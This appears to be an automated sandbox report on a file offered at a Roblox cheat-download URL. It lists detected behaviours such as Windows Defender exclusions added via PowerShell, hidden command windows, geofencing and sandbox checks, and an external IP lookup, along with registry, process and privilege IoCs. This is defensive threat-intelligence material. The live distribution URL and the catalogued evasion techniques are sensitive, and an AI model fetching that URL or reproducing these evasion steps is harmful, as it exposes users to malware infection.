hxxp://bestcheats[.]online/download/?game=Roblox

Resubmissions

13/07/2026, 00:45

260713-a35lwsav3l

12/07/2026, 22:57

260712-2w7w8abx2110

Analysis

user interaction
yes
max time kernel
194s
max time network
197s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
12/07/2026, 22:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://bestcheats.online/download/?game=Roblox
Sample260712-2w7w8abx21

Score

10^/10

defense_evasion discovery execution persistence ransomware trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 14 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5980	powershell.exe
3816	powershell.exe
4612	powershell.exe
3288	powershell.exe
5700	powershell.exe
5980	powershell.exe
6076	powershell.exe
5704	powershell.exe
5528	powershell.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\Control Panel\International\Geo\Nation	Installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\Control Panel\International\Geo\Nation	Installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\Control Panel\International\Geo\Nation	Installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\Control Panel\International\Geo\Nation	Installer.exe

Executes dropped EXE 10 IoCs

pid	Process
3752	AutoInstall.exe
872	Installer.exe
3988	Installer.exe
4816	Installer.exe
4984	Installer.exe
5576	AutoInstall.exe
1696	Installer.exe
3900	Installer.exe
2448	Installer.exe
3328	Installer.exe

Loads dropped DLL 25 IoCs

pid	Process
3752	AutoInstall.exe
3752	AutoInstall.exe
3752	AutoInstall.exe
872	Installer.exe
3988	Installer.exe
3988	Installer.exe
3988	Installer.exe
3988	Installer.exe
3988	Installer.exe
3988	Installer.exe
4816	Installer.exe
4984	Installer.exe
5576	AutoInstall.exe
5576	AutoInstall.exe
5576	AutoInstall.exe
5576	AutoInstall.exe
1696	Installer.exe
3900	Installer.exe
3900	Installer.exe
3900	Installer.exe
3900	Installer.exe
3900	Installer.exe
3900	Installer.exe
2448	Installer.exe
3328	Installer.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
5716	cmd.exe

Hide Artifacts: Hidden Window 1 TTPs 8 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
5452	cmd.exe
5552	cmd.exe
3748	cmd.exe
5204	cmd.exe
6032	cmd.exe
5716	cmd.exe
5500	cmd.exe
5700	cmd.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
163	api.ipify.org
184	api.ipify.org
162	api.ipify.org

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5716	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AutoInstall.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AutoInstall.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2928	chrome.exe
3148	chrome.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134283706386549457"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\Mode = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\LogicalViewMode = "3"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\1	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202020202	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\SniffedFolderType = "Generic"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3 = 3a001f44471a0359723fa74489c55595fe6b30ee260001002600efbe10000000a6d47e3704e3dc01a94ce9f810e3dc017343b30f5212dd0114000000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\MRUListEx = ffffffff	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\FFlags = "1092616257"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 020000000100000000000000ffffffff	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupView = "0"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\IconSize = "48"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\FFlags = "1"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 02000000030000000100000000000000ffffffff	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\1\0	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByKey:PID = "0"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\SniffedFolderType = "Downloads"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 03000000020000000100000000000000ffffffff	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByDirection = "1"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\1\MRUListEx = 0000000001000000ffffffff	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202020202	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\NodeSlot = "9"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	chrome.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
3024	chrome.exe
3024	chrome.exe
1080	chrome.exe
1080	chrome.exe
4612	powershell.exe
4612	powershell.exe
4612	powershell.exe
5856	powershell.exe
5856	powershell.exe
5856	powershell.exe
3288	powershell.exe
3288	powershell.exe
3288	powershell.exe
5700	powershell.exe
5700	powershell.exe
5700	powershell.exe
5980	powershell.exe
5980	powershell.exe
5980	powershell.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe
1080	chrome.exe
1080	chrome.exe
5704	powershell.exe
5704	powershell.exe
5704	powershell.exe
5528	powershell.exe
5528	powershell.exe
5528	powershell.exe
5740	powershell.exe
5740	powershell.exe
5740	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5164	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

pid	Process
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeRestorePrivilege	4664	7zG.exe
Token: 35	4664	7zG.exe
Token: SeSecurityPrivilege	4664	7zG.exe
Token: SeSecurityPrivilege	4664	7zG.exe
Token: SeShutdownPrivilege	1080	chrome.exe
Token: SeCreatePagefilePrivilege	1080	chrome.exe
Token: SeShutdownPrivilege	1080	chrome.exe
Token: SeCreatePagefilePrivilege	1080	chrome.exe
Token: SeShutdownPrivilege	1080	chrome.exe
Token: SeCreatePagefilePrivilege	1080	chrome.exe
Token: SeShutdownPrivilege	1080	chrome.exe
Token: SeCreatePagefilePrivilege	1080	chrome.exe
Token: SeShutdownPrivilege	1080	chrome.exe
Token: SeCreatePagefilePrivilege	1080	chrome.exe
Token: SeShutdownPrivilege	1080	chrome.exe
Token: SeCreatePagefilePrivilege	1080	chrome.exe
Token: SeShutdownPrivilege	1080	chrome.exe
Token: SeCreatePagefilePrivilege	1080	chrome.exe
Token: SeSecurityPrivilege	3752	AutoInstall.exe
Token: SeShutdownPrivilege	1080	chrome.exe
Token: SeCreatePagefilePrivilege	1080	chrome.exe
Token: SeShutdownPrivilege	1080	chrome.exe
Token: SeCreatePagefilePrivilege	1080	chrome.exe
Token: SeShutdownPrivilege	1080	chrome.exe
Token: SeCreatePagefilePrivilege	1080	chrome.exe
Token: SeShutdownPrivilege	1080	chrome.exe
Token: SeCreatePagefilePrivilege	1080	chrome.exe
Token: SeShutdownPrivilege	1080	chrome.exe
Token: SeCreatePagefilePrivilege	1080	chrome.exe
Token: SeShutdownPrivilege	1080	chrome.exe
Token: SeCreatePagefilePrivilege	1080	chrome.exe
Token: SeShutdownPrivilege	1080	chrome.exe
Token: SeCreatePagefilePrivilege	1080	chrome.exe
Token: SeShutdownPrivilege	1080	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
